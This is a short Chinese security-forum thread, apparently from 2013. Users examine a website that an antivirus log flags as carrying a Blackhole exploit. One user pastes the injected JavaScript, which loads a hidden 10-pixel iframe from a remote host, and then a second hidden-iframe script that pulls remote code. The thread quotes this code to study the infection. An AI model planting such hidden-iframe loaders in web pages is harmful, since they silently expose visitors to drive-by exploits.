http://zosap.co.uk/

墨家小子

2013/4/25        12:41:01        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\P18EO2V5\zosap_co_uk[1].htm\0000060a.js        JS/Exploit-Blacole.bf (特洛伊)

dayangyang

1. if (document.getElementsByTagName('body')[0]){iframer();
   
2. }
   
3. else {
   
4.       document.write("<iframe src='http://ermornoatos.pochta.ru/ewynezir.html' width='10' height='10' style='visibility:hidden;
   
5.     position:absolute;
   
6.     left:0;
   
7.     top:0;
   
8.     '></iframe>");
   
9.                     }
   
10. function iframer(){
    
11. var f = document.createElement('iframe');
    
12.     f.setAttribute('src','http://ermornoatos.pochta.ru/ewynezir.html');
    
13.     f.style.visibility='hidden';
    
14.     f.style.position='absolute';
    
15.     f.style.left='0';
    
16.     f.style.top='0';
    
17.     f.setAttribute('width','10');
    
18.     f.setAttribute('height','10');
    
19.     document.getElementsByTagName('body')[0].appendChild(f);
    
20.                     }
    
21.       

复制代码

转到
'http://ermornoatos.pochta.ru/ewynezir.html'

1. <script type="text/javascript">
   
2. <!--
   
3. function ml_ph(p){document.write('<div id="mlph'+p+'" style="display:none"><\/div>');}
   
4. function ml_c(p){document.write('<div style="visibility:hidden;position:absolute"><iframe id="ml_c'+p+'" width=1 height=1 marginwidth=0 marginheight=0 scrolling=no frameborder=0><\/iframe><\/div>');}
   
5. function ml_getCode(n,p,s){
   
6. var d;
   
7. if(n<10){try{if(document.all && !window.opera){d = window.frames['ml_c'+p].document;}
   
8. else if(document.getElementById){d=document.getElementById('ml_c'+p).contentDocument;}}catch(e){}
   
9. if(d){d.write('<scr'+'ipt src="'+s+'"><\/scr'+'ipt>');}
   
10. else {setTimeout('ml_getCode('+(++n)+','+p+',"'+s+'")', 100);}
    
11. }}
    
12. var place_id = '3001';
    
13. var dreferrer = document.referrer; try { dreferrer = window.parent.document.referrer } catch(e) {}
    
14. try { dreferrer = dreferrer.substr(0, 256) } catch(e) { dreferrer = "" }
    
15. ml_ph(place_id); ml_c(place_id);
    
16. ml_getCode(1,place_id,'http://engine.mediamir.medialand.ru/code?pid='+place_id+'&gid=329&oin=0&rid=' + Math.round(Math.random()*100000)+'&dreferer='+escape(dreferrer));
    
17. //-->
    
18. </script>

复制代码

大概就这段比较可疑